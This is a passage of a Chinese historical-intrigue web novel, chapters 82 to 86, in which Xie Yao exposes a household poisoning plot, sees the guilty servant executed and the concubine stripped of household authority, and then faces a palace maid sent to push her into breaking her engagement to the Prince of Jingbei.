怪不得自从谢窈回京,她差点被谢成榆欺负,姨娘不管,还要息事宁人,她白天被靖北王问责,姨娘也根本不在…… 她沉默下去,不再替孙姨娘说话。 孙姨娘看出谢明安眼底的迟疑,她自认为与他“夫妻多年”,最了解他。 谢明安迟疑了,就代表他需要个台阶。 她蓦地回头,给刘嬷嬷一个决绝的眼神。 刘嬷嬷终于明白,无论如何,她这遭都逃不过去。 姨娘刚才,特意提到自己侄子,是在威胁她,如果不自愿认罪,她侄子也完了。 她一生没有婚嫁,此前只是和王管事厮混,唯有大哥留下个孩子,早年,姨娘帮她给侄子找了个济安堂掌柜的差事。 她额头重重磕在坚硬的地上,砰砰作响,磕出一片血红。 “此事都是老奴一人所为,与孙姨娘无关!” 她涕泣横流,声音却很清晰。 “姨娘待老奴恩重如山,可自从二小姐回京,姨娘和大小姐就处处受二小姐刁难委屈,老奴一时糊涂,想替姨娘出口恶气!” 何夫人不由说道:“你这刁奴,事到如今还在替自己开脱,你分明是害了伯爷,却说自己要害二小姐。” 刘嬷嬷急中生智,解释道:“老奴真的只想害二小姐,那祛灾茶,是老奴怕二小姐也不吃鱼,下在茶里的,或,或许是两种毒物相冲,才误伤了伯爷。” “老奴知道伯爷不爱鱼,谁承想,伯爷吃了鱼啊!” “老奴心生后悔,这才跑到茶间,想更换茶叶,还没来得及,就被桑若姑娘拦住了。” 她哭得撕心裂肺,仿佛悔不当初。 谢窈:“或许?毒是你下的,你不知毒性?” 刘嬷嬷急着顶罪,虽然条理清晰,但犯了一个致命的错误。 ——她不知鱼脍和祛灾茶中,两种毒的毒性分别是什么。 此刻,谢明安却捂着胸口,费力地抬起手:“刁奴害主,拖下去……打死了事。” 刘嬷嬷绝望地闭上了眼。 孙姨娘则悄然吐出一口气。 “慢着。” 谢窈走到谢明安面前。 “父亲,刘嬷嬷说不清自己下的是什么毒,此事有疑点,将她打死,恐怕不能服众。” 谢明安慢吞吞地看周围:“那你,你想怎么做。” “还是等大夫来了,查验后再做定论。” 刘嬷嬷的哭声猛地一顿,眼神慌乱地瞥向孙姨娘。 谢宴阴恻恻地开口:“你这老货倒是会说,交代了半天,合着全是你一个人干的,孙姨娘毫不知情?你当我父亲是傻子,会信你的鬼话?” 谢明安的嘴角抽了抽。 他还真信刘嬷嬷的话了,当然,只信了部分。 信的是刘嬷嬷下毒要害谢窈和许素素,误伤了自己。 不信的是孙姨娘对此不知情。 但他清楚孙姨娘没想害他。 最重要的,是现在孙姨娘肚子里,又有了他的子嗣。 她想被抬为平妻,儿子成为嫡子,更没理由害自己。 等许素素一死,他将孙馨兰扶正,小儿子,一定远胜谢宴这个已经养废的纨绔。 见女儿儿子都说了话,许素素也强撑身子,站起身来:“茶叶在库房的钥匙,是孙姨娘掌管的,一路上只经了丫鬟的手,刘嬷嬷怎么碰得到。” 刘嬷嬷:“姨娘信任老奴,库房钥匙平日就在老奴手中。” 她知道自己今天肯定死了,索性一狠心,厉声发誓:“老奴所说句句属实,如有半句虚言,就让老奴死无全尸!” “那本王,就赐你一个死无全尸。” 一道霜白襕袍,坐在轮椅上的身影,被侍卫推进来。 靖北王身后,还跟着一名身穿官服的御医,一名布衣提着药箱的大夫。 见箫熠之出现,谢窈倒是一愣。 随即,看见了身后朝她眨眼的七两,以及躲在最后,文人打扮的舅舅许知行。 她让七两去胜济堂请两个大夫,是怕胜济堂被济安堂渗透,一个大夫恐被收买,两个大夫,则能互相佐证。 如今看到舅舅,定是七两去找大夫时,舅舅以为自己遇到了危机,才请来了即将和自己成亲的箫熠之。 此刻,许素素看见多年未见的兄长,震惊地睁大双眼,嘴唇张阖,身体微微颤抖。 而许知行见到她这样憔悴,更是眼眶一红,喉咙哽咽,抬起衣袖,悄悄擦了擦眼泪。 “听闻文昌伯中毒身亡,本王恰好在附近,就带了周御医过来。” 箫熠之面容冷峻,目光扫过满厅狼藉,最后视线凝在谢窈身上,像是在和她解释。 “不过,文昌伯看起来,倒是活得好好的。” 谢明安:…… 第82章 彻底暴露,姨娘名声扫地 这种大不敬的话,在靖北王口中说出,谢明安居然有种习惯了的感觉。 “王,王爷前来,请恕下官有伤在身,有失……远迎。” 他试图行礼,但他实在动不了,刚坐直身子,就“吧唧”瘫倒。 倒是他身旁的朱嬷嬷见此,望着靖北王的眼神闪过一丝怨懑。 箫熠之像是回自己家似的,坐在轮椅上,眼皮都不抬一下。 直到看见谢明安第二次试图坐起来,又瘫倒,他才慢悠悠开口:“伯爷无需多礼,你是王妃的父亲,向本王行礼,不是折煞本王吗。” 谢明安又想吐血了。 其他人见到靖北王一天两次出现在文昌伯府,全都紧张地屏气凝神,何夫人等几个贵夫人硬着头皮行礼:“见过靖北王。” 连哭嚎的刘嬷嬷,都闭上了嘴。 箫熠之向何夫人颔首。 何夫人的夫君,是礼部尚书何裕,早年和箫熠之的父亲老侯爷交情不错,和箫熠之的三叔也是同砚。 何夫人微微点头,没想到谢家二小姐不仅冷静,还早早派人请来了靖北王,真是聪慧过人。 “王爷来得正好,”谢窈侧身让开,“父亲所中的毒蹊跷得很,还请御医来看看。” 谢宴将之前发生的事,简单说于御医听。 周御医拱了拱手,上前查验。 他是尚药局的御医,在一众御医中,医术只是中上,但最会察言观色,才被皇上指认给王爷看病。 但是,文昌伯中毒吐血,银针测了茶水和鱼脍又没毒,倒是罕见。 他给文昌伯把了脉,摇头叹息疑惑,没说话。 这是什么毒啊,他从没见过。 箫熠之对另一位胜济堂的大夫说:“你也去。” 忍冬收到谢窈的眼色,接过胜济堂大夫的药箱:“奴婢来给您拿着。” 她上前的同时,用嘴型跟胜济堂大夫说了“曼陀”二字。 这曼陀散,没见过的大夫,是万万查不出来,也想不到的。 胜济堂大夫暗自点头,他不是什么都不知道的庸医,经过忍冬提醒,又和周御医一起,重新查验桌上的炙鱼脍和祛灾茶。 片刻后,胜济堂大夫脸色凝重:“是曼陀散,此毒无色无味,会加重病人原本疾病,若剂量过多,就是剧毒,但鱼肉缺少了一味药引,吃下后不会发作,而祛灾茶中,正含有这味药引。” 周御医捻了捻胡须,赞成他的说法。 “黄大夫说的没错,曼陀散,下官在医案上见过,根据伯爷脉象,中的正是此毒,没想到民间大夫也如此见多识广,下官佩服。” “周御医过誉了,老夫比不上周御医是尚药局的神医。” “哪里哪里,黄大夫博闻强识,在下佩服。” 两个大夫互相拜了拜,像忽然成了知己。 周御医原本在王府给靖北王日常看诊,忽然来了个自称王妃舅舅的男子,靖北王一听,就带他来到伯府,路上才知道文昌伯中了毒。 路上,王妃舅舅塞给他一把银票。 他是个人精,看出王妃舅舅是胜济堂的东家,自己做为宫中御医,这么一吹嘘,胜济堂以后,在京中的名声势必更上一层楼,也是卖王妃一个人情。 众人听到周御医的话,也是心中庆幸又胆寒。 庆幸的是,原来需要吃了鱼肉再喝茶才中毒,他们都没吃鱼肉。 胆寒的是,刘嬷嬷算准了鱼肉只有伯夫人和谢家二小姐会吃,当真阴险狠毒。 箫熠之淡淡地开口:“文昌伯的伯府真是人才辈出,一个嬷嬷,竟然知道这些。” 刘嬷嬷汗流浃背地伏跪在地上,浑身颤抖。 谢明安只能再度开口:“把这个老刁奴——” 他还没说完,谢窈忽然道:“嬷嬷之前交代,她以为两种毒起了冲突,才让父亲吐血,但听御医所说,茶里的毒分明是毒引子,她连毒性都分不,如何下毒?” 她面色覆盖着冰霜,声音清冽。 刘嬷嬷顶着磕头的满脸鲜血,结结巴巴地说:“老奴只想害人,没,没有想那么多。” 谢窈又问:“敢问周御医,这曼陀散,从何处能寻来?” 周御医扭头,看向靖北王。 王爷端坐轮椅,并不关心奄奄一息的岳丈,只眉眼温和地望着谢家二小姐。 周御医懂了。 “回禀二小姐,医案记载,曼陀散是太祖皇帝时尚药令所制,曾用于镇痛麻痹,与麻沸散相似,所用药石珍贵,只在宫中尚药局流传。” “先帝时,一位女御医发觉曼陀散毒性阴险,且需要精细控制,先帝从而下旨,让尚药局禁用此物。” 忍冬听到“女御医”,指尖悄然颤了颤。 谢窈挑了挑眉,扬声道:“那就巧了,孙姨娘的父亲,正是尚药局的孙药令。” 何夫人惊讶地出声:“这毒药如此罕见阴毒,一个嬷嬷,能拿得出来?难不成是孙药令给她的?” 周围的贵夫人们也窃窃私语。 “孙氏怕是知道自己怀了孕,想杀母灭女,自己被抬为伯夫人啊。” “都说文昌伯宠妾灭妻,伯爷刚才想打死刘嬷嬷,可见也是想包庇孙氏。” 刘嬷嬷已经绝望,又不知该如何解释,只能将自己缩成一团。 孙姨娘见事情越闹越大,甚至涉及了自己父亲,不知从哪里来的力气,忽然暴起,狠狠撕扯刘嬷嬷头发。 “你这个老货,偷拿我房里的药去害人,还伤了伯爷,我跟你拼了!” 孙姨娘好歹也是京中有名的贤妾,现在却披头散发,像个市井泼妇,厮打着刘嬷嬷。 今日之后,她名声彻底完了。 孙姨娘扭过头,泪如雨下:“伯爷,妾身是有曼陀散,那是父亲早年给妾身治病的东西,妾身绝不敢拿它害人!” 刘嬷嬷闻言,再次磕头:“是老奴的错,老奴偷了姨娘房里的东西,老奴因为只是一般毒药……” 她磕着磕着,忽然不再说话。 像是把自己磕死了。 白蔹上前,探了探她的鼻息:“只是晕过去。” 谢明安终于抓住机会,沙哑地下令:“给本伯将她拖出去,乱棍打死。” 靖北王笑了:“杖毙,岂不是留了全尸?” 第83章 刘嬷嬷杖毙,母亲掌中馈 “杖毙,岂不是留了全尸?” 刘嬷嬷刚才立誓,如有半句虚言,就死无全尸。 而靖北王来时候就说,要赐她一个死无全尸。 谢明安心里也恨极了刘嬷嬷,听到箫熠之的话,顺势道:“王爷说得对,这等谋害主子的刁奴,的确不配留全尸。” 他眯起眸子,轻飘飘地叹息:“奈何,刘嬷嬷毕竟是伯府多年老人,就将其乱棍打死之后,丢去乱葬岗,喂野狗吧。” 孙姨娘听到喂狗,更是吓得浑身发抖。 靖北王只是说一句不留全尸,她难以想象,但伯爷的话,却让她一下子有了画面。 “不知王爷是否满意?”谢明安又眼巴巴地问。 箫熠之皱了皱眉,露出鄙夷的眼神。 “嘶……伯爷不是礼部侍郎吗,一介文臣,竟比本王这个武夫还残忍,不过,既然伯爷都这么说了,本王自然没有意见。” 谢明安一口气再三没上来,胸口气血翻涌,差点要晕过去。 不是他说要死无全尸? 乱棍打死还不行,这会儿又怪自己残忍了?! 家丁上前,拖拽昏死过去的刘嬷嬷。 “姨娘,姨娘救我!” 她忽然惊醒,意识到什么之后,凄厉地惨叫起来。 孙姨娘埋头不语。 “不,奴婢还不想死,伯爷饶命,伯爷饶命啊——”任凭刘嬷嬷如何惨嚎,还是被家丁强行拽走。 厅外,沉闷而恐怖的击打,伴随骨头断裂,刘嬷嬷越来越低微的惨叫声音,传到每个人耳朵里,让人心底发寒。 谢窈垂着眸,并未觉得吓人,她想起了前世的自己。 当初,她被谢成榆推下水后,高烧不退,病倒在床。 孙姨娘为了博个好名声,派刘嬷嬷和两个丫鬟来照顾自己。 而实际上,刘嬷嬷不仅没管过她的死活,还在寒冬腊月,指使丫鬟搬走了她的炭火,每日送来的饭食,也是馊的。 差点,她就死在了那几日。 有一天,她太渴了,求刘嬷嬷给自己倒杯水。 刘嬷嬷却将茶壶打碎在她眼前,说:奴婢失手打碎了茶壶,没水了,二小姐还是好好休息吧。 她强撑身子,从床上爬起来,接屋檐上融化的雪水,一滴一滴,湿润干裂的嘴唇。 远处,刘嬷嬷和王管事谈笑风生,看见她后,发出尖细的嘲讽:瞧咱们二小姐这穷酸样儿,跟条哈巴狗似的,不知道的,还以为伯府苛待了你。 那一刻,她多想杀了刘嬷嬷。 现在,刘嬷嬷被乱棍打死发出的惨叫,对别人来说十分可怕,对谢窈来说,却极其动听。 箫熠之望着谢窈深沉如渊的黑眸,皱了皱眉。 他第一次在她眼里,看出自己才有的死气。 箫熠之知道,这没什么特别,再明媚鲜活的人,都有深沉的一面。 但是,他却不希望谢窈耽于黑暗。 “伯爷光问本王满不满意,是不是忘了,真正差点要被害死的人,是你的发妻和女儿,不知伯夫人,谢二小姐满意吗?” 箫熠之忽然询问,将谢窈的心从仇恨中拉出来。 谢窈回过神。 刘嬷嬷死了,但事还没完。 她看向谢明安,声音平静而带着分量:“就算毒是刘嬷嬷从孙姨娘房里拿的,她身边出了这样的人,她也难辞其咎。” 何夫人找到了自己的用武之地,连连点头。 “文昌伯,你这妾室孙氏,若安分守己,那刁奴怎会生出那样的心思,归根到底,还是孙氏御下无能,管家无方。” “是啊,一个妾室姨娘房里,怎么会有那样歹毒的东西,真是叫人害怕,伯爷不查查来源吗。” 谢明安看了看谢窈,又看身后的靖北王,何夫人等人,脸色一阵青白。 他本想直接杀了张嬷嬷了事,可现在,这些贵夫人都在,靖北王更是不好打发,不惩治孙姨娘,是说不过去了。 孙姨娘忙解释,那曼陀散是早年还没被禁用时,父亲给她镇痛用的,她自己不用已久。 “你想如何?”谢明安瞪着眼,反问谢窈。 孙姨娘怀着自己孩子,他不可能把她发卖,或者送回孙家。 “孙姨娘身为父亲妾室,执掌中馈本就不合礼法。”谢窈道。 孙姨娘猛地抬起头,乱发下的眼睛布满血丝,目眦欲裂。 “妾身执掌中馈多年,将府中打理的不说花团锦簇,也是井井有条,”她知道谢窈要说什么了,沙哑地喊道,“伯爷不看功劳,也要看苦劳。” 谢窈不理会她的话,继续道:“如今她犯了错,又怀着孕,再掌中馈,恐怕生出别的乱子,致使家宅不宁,父亲还是让姨娘交出掌家钥匙,去阁楼安心养胎吧。” 孙姨娘:“不,伯爷,妾身没事,不需要休息,妾身愿意将功赎罪,帮伯爷管好家宅。” 见谢明安露出犹豫的神情,孙姨娘心里咯噔一声,又看向谢枝。 “枝枝,姨娘的乖女儿,你求求你爹爹,让他饶了姨娘吧。” 谢枝错开她的目光,声音微弱:“二妹妹说的对,姨娘做错了事,还是去休息吧。” 孙姨娘怔住了。 她的女儿,居然说她做错了事? 自己这般苦心孤诣,想将许素素那对母女一网打尽,为了谁,不就是为了被扶正后,给谢枝寻个好前程吗!她居然不为自己求情? 孙姨娘张了张口,眼泪“刷”地落下。 谢窈冷眼看着她垂泪,谢枝的话,倒是比刘嬷嬷的死更让她难受。 不过,谢枝为何忽然不再帮她的母亲说情,仅因为孙姨娘怀有身孕? 应该不止如此。 谢明安眉头紧皱:“孙姨娘这些年,将伯府后宅操持的很好,她交出掌家钥匙,交给谁?” 他一时之间忘记装了,面露不屑:“你母亲吗,一个病秧子,风一吹就会倒,拿什么掌家。” 谢窈:“这不是还有二婶呢吗。” 二房夫人正抱着小儿子愣神,闻言呆住了。 还有自己的事儿? 却见谢明安本就惨白的面色,骤然更加难看。 “她?绝对不行!本伯是一家之主,怎能让二房来指手画脚!”他看出二房眼中的跃跃欲试,厉声道。 谢窈转头,看向身边的母亲。 她故意先提起二房夫人,就是为了让谢明安更加抗拒,谢明安这个人,最忌二房夺权,不可能同意二婶管事。 而且,他掌控欲旺盛,也不会把掌家钥匙给谢老夫人。 那他只剩一个选择了。 许素素指尖攥得发白,却在接触到谢窈清亮锐利的目光之后,内心忽然安定。 远处,假扮成靖北王随从的许知行,眼眶微红,微不可察地向她点头,眼神鼓励。 “伯爷,我虽孱弱,但这些年打理自己手里的田产铺子,都是亲自过目,无一不通,为何管不了府中中馈?”许素素缓缓开口,反问。 说完,她垂下眸,见孙姨娘正阴狠愤怒地盯着她。 许素素毫不畏惧地回瞪。 若是以前的她,就怯懦退让了。 可现在,她的兄长在身旁,偷偷抹眼泪。 她的阿窈在前,为她冲锋陷阵。 她如果再不立起来,也没脸再当阿窈的母亲。 谢明安被架在中间,心里飞快盘算着。 比起二房夺走掌家钥匙,他宁可让许素素这个病秧子执掌中馈,还能消除一些宠妾灭妻的流言。 反正…… 她也活不了多久。 “好,”谢明安从牙缝里挤出一句,脸色挂着伪善笑意,“既然夫人要管,暂且就交给你。” 他又提起一口气,对孙姨娘吼:“还不快把掌家钥匙交出来,滚回你的院子,没有本伯的命令,不许踏出半步!” 孙姨娘纵然心中万分不甘,此刻也无法违抗。 箫熠之淡淡地瞥了身侧的许知行一眼,看出对方眼底的急切。 他忽然说:“周御医,伯夫人身体不适,你给她看看。” “下官遵命。”周御医连忙躬身,给许素素把脉。 片刻后,箫熠之道:“天色已晚,本王该回府了。” 谢明安连忙堆起笑容:“王爷慢……下官送王爷吧。” “不必,”箫熠之让白蔹将轮椅调转方向,道,“谢二小姐送吧。” 第84章 渣爹杀妻灭女,幕后黑手! 这次,和白天一样,谢窈推箫熠之的轮椅,走在前面,白蔹提灯,跟在旁边。 又不一样。 他们身后,是慢慢走着的许素素和许知行兄妹。 谢二小姐送靖北王,合情合理。 周御医帮伯夫人把脉后,不出谢窈所料,并没有查出曼陀散,只说是严重的肺痨,给开了个药方。 谢窈清晰看见,谢明安在听到周御医说完后,微不可察地舒了一口气。 伯夫人很感激,送周御医离开,亦合情合理。 谢明安被朱嬷嬷扶着灌药,没精力再说话,挥了挥手,让她们自便。 他娶许素素之后,只有一开始为了那些嫁妆,在许家某些商铺安插了几个眼线,根本没再见过许家人,连许老爷子,他都快忘记长什么样了。 因此,他没注意到,靖北王身后的文人随从,就是他多年不见的大舅哥。 谢窈推箫熠之过了后花园,箫熠之道:“舅舅找来本王,说你受了好大的委屈。” 谢窈想像一下那场景,忍俊不禁地解释:“舅舅是担心我,才言过其实,王爷不要见怪。” 见谢窈没有反驳他也称许知行为舅舅,箫熠之漆眸悄悄弯了弯。 “本王若是见怪,就不会让舅舅和伯夫人在后面溜达了,”他一本正经地说,“本王,只是不信舅舅的话。” “不信什么?” “不信有人能让谢二小姐受到委屈。” 谢窈嘴角扬起一抹极浅的弧度:“那王爷怎么还是来了?” 箫熠之:“因为本王,怕谢二小姐真的受了委屈,装不委屈。” 谢窈脚步一顿:“王爷过虑了。” “本王过虑了吗?” 箫熠之回头,望着谢窈在灯火下,柔和清隽的容颜,还有她漆黑似染着点点繁星的凤眸。 谢窈点头,倏然绽放灿然笑容:“有王爷在,我怎么可能受到委屈?” 箫熠之垂下眸,扶手上的指尖微颤。 这话是谢窈在哄他,他听得出来。 就算他今晚不来,何夫人等人也在,她不会吃亏。 但谢窈愿意哄他,他很高兴。 两人旁边的白蔹,看见王爷冷白的耳根,红了。 终于,谢窈把箫熠之送到门口,看他上马车。 舅舅许知行也走过来,手里居然拿着个金算盘。 路过谢窈时,舅舅周身透出寒意,极快地说了句:“照顾好你母亲。” “舅舅放心。” 送走靖北王一行人,谢窈提着灯,和许素素往回走。 她没有问母亲和舅舅说了什么,夜晚的寒风吹过回廊,两人手里被桑若忍冬一人塞了一个暖手炉,心口滚烫。 刚回到晚香院,谢明安就派人送来伯府各个房间,院子,库房,箱匣的钥匙。 伯府还住着几个来不及回去的京中贵女贵夫人,明天,伯府发生的事儿就能传遍京城,文昌伯不敢说话当放屁。 忍冬熬煮了两大碗汤药。 “夫人和二小姐误食了没有毒引子的鱼脍,把这个喝了吧。”她把汤药放到谢窈身前。 谢窈拿起碗,看着黑黢黢的汤药,皱起眉头。 忍冬给她一枚蜜饯。 她看母亲也得喝,只好给母亲做个好榜样,把蜜饯塞进嘴里嚼嚼咽了,捏着鼻子,仰起头“吨吨吨”,一口干了一碗汤药。 “呸呸呸,忒苦。” 轮到许素素,她问道:“我听周御医说,我和窈儿没有用祛灾茶,是没事的,这汤药非喝不可吗?” 忍冬转头,端来一碗蜜水:“伯夫人喝这个也行,奴婢的意思是,您和二小姐都得多喝点水,尽快将药排出体外。” 谢窈:“……啊?那你怎么不早说!” 忍冬莞尔一笑:“二小姐也没问奴婢呀。” “呕——” “二小姐别呕,那个汤药也是补药,喝不坏的。” 许素素甚少见到女儿吃瘪的样子,也笑了。 过了一会儿,她让桑若拿来账本,坐在桌案前,轻轻拨动算盘。 谢窈托腮看自己母亲算账,不禁在脑中想象,昔年许家大娘子究竟是何风采。 许素素知道,女儿这一天早就疲惫不堪,道:“阿窈,你先回去安睡吧,剩下的事,交给娘。” 谢窈鼻子顿时酸涩。 自己母亲,终于认她是自己的娘了。 谢窈让母亲也早点休息,强忍着情绪,回到自己房间,独自一人,坐在窗棂下。 今晚的月色如水,落在她身上,衬得她周身清寒,让她眼中彻骨的恨意,越发清晰。 冬至宴结束了。 今日之后,孙姨娘失去心腹刘嬷嬷,被禁足,暂且没了上位机会。 谢家二房被谢明安忌惮,谢成柏伤了谢老夫人,一个被打板子,另一个落下风寒重症。 谢家丢尽脸面,谢明安中毒后,元气大伤。 连谢枝都声名狼藉,嫁不成丞相江家。 不过,孙姨娘被夺去掌家钥匙,她竟不为自己母亲求情,让谢窈感觉她还有什么后手。 而母亲,拿到了中馈之权。 一切都按照谢窈的想法进行着。 但是,正因为谢明安如此轻易给了母亲中馈之权,让她彻底确认了一件事。 谢明安这个老东西,他才是幕后黑手。 上一世,是他,害死了母亲! 他杀妻灭女,禽兽不如! 在饭厅外,当谢窈从茗儿口中得知,孙姨娘让刘嬷嬷投毒的菜,是只有母亲会吃的炙鱼脍的时候,谢窈就想到了这点。 母亲中了曼陀散的毒,如果自己和忍冬没有发现,她活不过一年。 孙姨娘的父亲是孙药令,她兄长还开医馆,她有曼陀散的来源渠道,所以谢窈一直以为,在自己回京前,给母亲下毒的人,是孙姨娘。 既然如此,孙姨娘这次要害的,应该是自己。 可孙姨娘要害的,却是许素素! 为什么? 她闲的吗,非要给将死之人下两次毒,还是一样的毒? 当然是因为,孙姨娘不知道母亲快死了! 当然是因为,母亲的毒,其实和孙姨娘无关! 既然下毒的人不是孙姨娘,谢家还有谁? 谢家二房?他们没有害母亲的理由,即便伯府伯夫人没了,也捞不到什么好处。 其他妾室?她们寻不到曼陀散这种特殊毒药。 谢老夫人?除非她把孙姨娘当成自己亲儿媳,要帮儿媳上位,否则,她一把年纪,跟不掌家的主母较劲,可能性很低。 当看见朱嬷嬷熟练地施针,把脉,掏出丹药后,谢窈就怀疑到了谢明安。 直到他将中馈之权给了母亲—— 一个宠妾灭妻,嗜权如命,靠妻子嫁妆贿赂高官往上爬的人,只有一种可能,会把手中权力还给妻子。 那就是他知道,他的妻子,就快死了! 因为毒,就是他下的。 第85章 芝黛刁难,太后要她悔婚? 夜色已深,晚香院的灯却一直亮着。 已经三更天了,许素素让桑若给自己端来一杯参茶,手中算盘噼啪作响,还在继续算账。 她大部分许家陪嫁,早在嫁到谢家后,就交给了谢明安,现在她拿到账簿看,那些陪嫁已经没了,账面还亏空着。 幸好自己手里还有一些财货商铺,能拿出来,做阿窈的嫁妆。 今天见到兄长许知行,快不惑之年的男儿,见到自己就掉眼泪,掏出算盘开始算账,说一定要替自己,替阿窈出气。 再回头,看着每日监督自己吃药的女儿,许素素心里忽然生出希望和盼头。 就算是为了阿窈,她也得立起来,再撑些日子。 许素素不知道的是,隔壁的谢窈,也近乎彻夜未眠。 她记得,前世舅舅帮自己找状师时说,外祖父和母亲是一前一后走的。 舅舅虽然没有细说,谢窈也能猜到,外祖父走之后,以谢明安不要脸的程度,必然会以母亲名义,与舅舅争夺许家家业。 当年许素素被他哄骗,还没成亲就怀了孕,生下自己才嫁到谢家。 在谢老夫人眼里,她是倒贴她儿子,没出息的商贾之女。 可不管出身如何,母亲,都是谢明安明媒正娶的结发妻子。 这世上,竟然有人毒杀妻子,截杀女儿。 人性之恶,竟能狠毒至此。 谢窈眼中翻涌着滔天戾气。 她忽然叫来七两。 “小姐有何吩咐?” 谢窈抬起眸,眼底已经一片清明:“之前,我让你买的东西,你买好了吗?” 她从牙婆手里买下七两那天,曾给他一大笔银两,让他去买一些东西。 七两点头:“小姐,万事俱备,只欠东风。” “好,”谢窈点了点头,“那就准备着,快用上了。” 谢明安以为母亲很快就会死在谢家,他能拿回中馈之权。 还期望等她嫁给箫熠之,谢家多少能成为靖北王的亲戚,沾萧家的光。 她和箫熠之的大婚之日,就是谢明安最高兴,最松懈的时候。 她给她爹,准备了一个大礼。 距离大婚还剩七日。 冬至日第二天,何夫人等贵夫人离开谢家,还没到晌午,太后宫里的芝黛姑姑就来了。 芝黛是宁寿宫的掌事宫女,昨日来宣太后懿旨,要在谢家教导谢窈礼仪。 中毒尚未恢复的谢明安前来,惨白着一张脸,将她迎进门。 这个举动,让谢窈觉得有些奇怪。 早晨时,何夫人等人想去见文昌伯告辞,却被拒之门外,下人告知:文昌伯身体尚未恢复,难以见客。 芝黛再怎么身份特殊,也只是个宫女,昨日全家迎接,是因为太后懿旨,今天她手里又没有懿旨。 可谢明安怎么还是主动来迎了? 芝黛和谢明安寒暄了几句,来到晚香院谢窈的屋子。 她三十左右,穿着深青色宫装,头发一丝不苟,手里还提着个药箱大小的匣子。 “谢二小姐,奴婢要教导您礼仪了,这里人多眼杂,您得摒弃左右,静下心学。”芝黛说道。 谢窈指尖微动。 她在战场上的感知十分敏锐,此刻,感受到芝黛对自己的敌意。 谢窈面上没露出异样,只是挥了挥手:“你们都先下去吧。” 芝黛看了一眼谢二小姐身后几个丫鬟,见她们都安分有礼,没再多说什么。 她目光在忍冬身上多停了一会儿,感觉这丫鬟有些眼熟。 等到屋内只剩下她和谢窈,她上前一步,语气陡然冷下去: “二小姐,奴婢丑话说在前头,靖北王爷虽然不是皇族血脉,但异姓封王,地位超然,您既然嫁给了他,就得收敛心性,好好学规矩。” 谢窈从容地称是。 “王爷双腿受伤,行动不便,成亲后得二小姐亲力亲为地照顾,二小姐提前试试吧,把奴婢当成王爷,将王爷从轮椅扶到床榻上,但不能弄疼他。” 芝黛又说道,直接在桌案旁坐下,模仿双腿不能行走的样子。 谢窈没有反驳王府下人无数,轮不到她扶箫熠之,而是上前,一只手勾起芝黛肩膀,另一只手再用力,“嘿”地一下,就将她提起来,丢到床榻上。 芝黛稳稳坐在床榻上,诧异地抽了抽嘴角:“早就听说谢二小姐力气大,但是你——” 谢窈没让她说完:“芝黛姑姑被我弄疼了吗?” 芝黛跳过了这个话题,从袖中拿出一根细竹尺,又道:“二小姐再站起来,让奴婢看看。” 谢窈背脊笔直,有一股边境历练的英气。 芝黛“啪”地在她肩上抽了一下:“二小姐是去嫁人的,不是去演武场,肩得沉,腰肢得软,走路要轻,王爷身体不适,心情不好,你这么容光焕发,王爷看了怎么想?” 谢窈没躲,反正她抽的也不疼,而且,她倒是想看看,芝黛疾言厉色,到底有什么目的。 “姑姑说的是。” 不过,她还是觉得,箫熠之似乎更喜欢,她容光焕发的样子。 她继续按照芝黛的话行事,这些礼仪规矩,她前世刚嫁入陆家后,早在陆母磋磨下熟练精通。 “还有一点,以后二小姐免不了要出入宫闱,奴婢先教站姿,然后教您如何向皇上,太后行礼。” 芝黛要指点谢窈屈膝行礼的姿势,但谢窈膝盖弯的恰到好处,既不显得谄媚,也不会过于僵硬,比她几年前教过的安平侯夫人还要稳。 不是说谢家二小姐自幼在边境健妇营长大吗,怎么各种规矩,样样娴熟? 练了半个时辰,她开始考察沏茶。 见谢窈做的也不错,芝黛眼神沉了几分,嘴上仍旧冷厉:“这茶不光要泡好,王爷最喜欢七分烫的茶水,你得自己先试了温度。” 芝黛一个太后身边的宫女,怎会知道箫熠之喜欢几分烫的茶? 谢窈眸子闪了闪,这一刻,猜出了芝黛目的。 她故意刁难,说嫁给箫熠之规矩如何多,甚至态度透着羞辱,还在自己面前彰显太后对箫熠之的看重,是想让自己知难而退,抗旨拒婚! 谢窈想起前世。 在她临死前最后几个月,她见到陆慎言的次数不多,却听他提起过京中局势。 太后与皇上,已经到了水火难容的地步。 她被送回庄子时,更是发现京中街道已经戒严,陆慎言想出京,都要跟守城将领表明身份,才被勉强放行。 是了,太后并非皇上生母,二人早有矛盾。 赐婚是皇上赐的,教导她礼仪的芝黛姑姑,却是太后派来的。 太后不希望她遵从圣旨,嫁给箫熠之。 她和箫熠之的亲事,是太后和皇上的一场博弈。 谢窈装作听不懂,面容仍旧淡然:“多谢姑姑指点,晚辈记下了。” 芝黛见她不接话,又打开随身的木匣,从中取出一个物件。 “当年王爷还是靖北侯世子时,太后送给他一枚玉佩当见面礼,后来五贼乱党逼宫造反,皇上到太后宫中避难,王爷带兵平叛,以此佩当信物,护下了太后和皇上。” 谢窈看去,这是枚白玉佩,雕着简单的云纹,边角光滑,看着有些年头。 芝黛的眼神更加冷厉,透着恐吓。 “太后的意思是,王爷对太后恩深义重,二小姐既然嫁给了王爷,以后若有任何忤逆王爷,或丢了王爷脸面之举,就是对太后不敬,那是诛九族的大罪!此物如今赏你,你要牢记奴婢的话。” 这是在敲打谢窈,暗示她箫熠之在太后心里的分量,她若是做不好靖北王妃,太后不会放过她。 芝黛说完,想在谢窈脸上看见寻常女子听到这话的胆怯恐惧。 毕竟,嫁给靖北王已经是件吓人的事了,要是身上再背负太后要求,胆小些的,怕是得当场悔婚。 谢窈不负她期望,终于有了反应。 “姑姑能再说一遍吗?对太后不敬,就能诛九族?” 芝黛:“……” 第86章 安平侯庶姐勾搭,挑拨离间 芝黛沉默了,有点不知说什么好。 谢窈自顾自拿起玉佩,指尖摩挲着温润的玉面。 可惜了,对太后不敬,就算能诛九族,也不能诛谢明安的九族,何况她还在这九族里呢。 她语气平和:“多谢太后赏赐,能得太后如此挂心,是晚辈的福气,也是王爷的福气,这玉佩,晚辈会好生收着,绝不辜负太后今日的教导。” 这话挑不出任何错处,芝黛一口气被堵在胸口。 本来接了太后的令,又听说谢家二小姐心高气傲,易被激怒。 所以,她故意在谢窈面前,说嫁给靖北王的艰难,想让谢窈知难而退,主动退婚。 没想到这丫头年纪轻轻,居然油盐不进。 芝黛皱了皱眉,从木匣中翻出一本《女诫》。 谢窈看去,这书册装裱精致,应该出自宁寿宫。 “伺候王爷,得遵循四行,妇德,妇言,妇容,妇功,二小姐这几日把《女诫》抄十遍,大婚前三日送去宁寿宫。”芝黛冷声道。 谢窈应了声“是”。 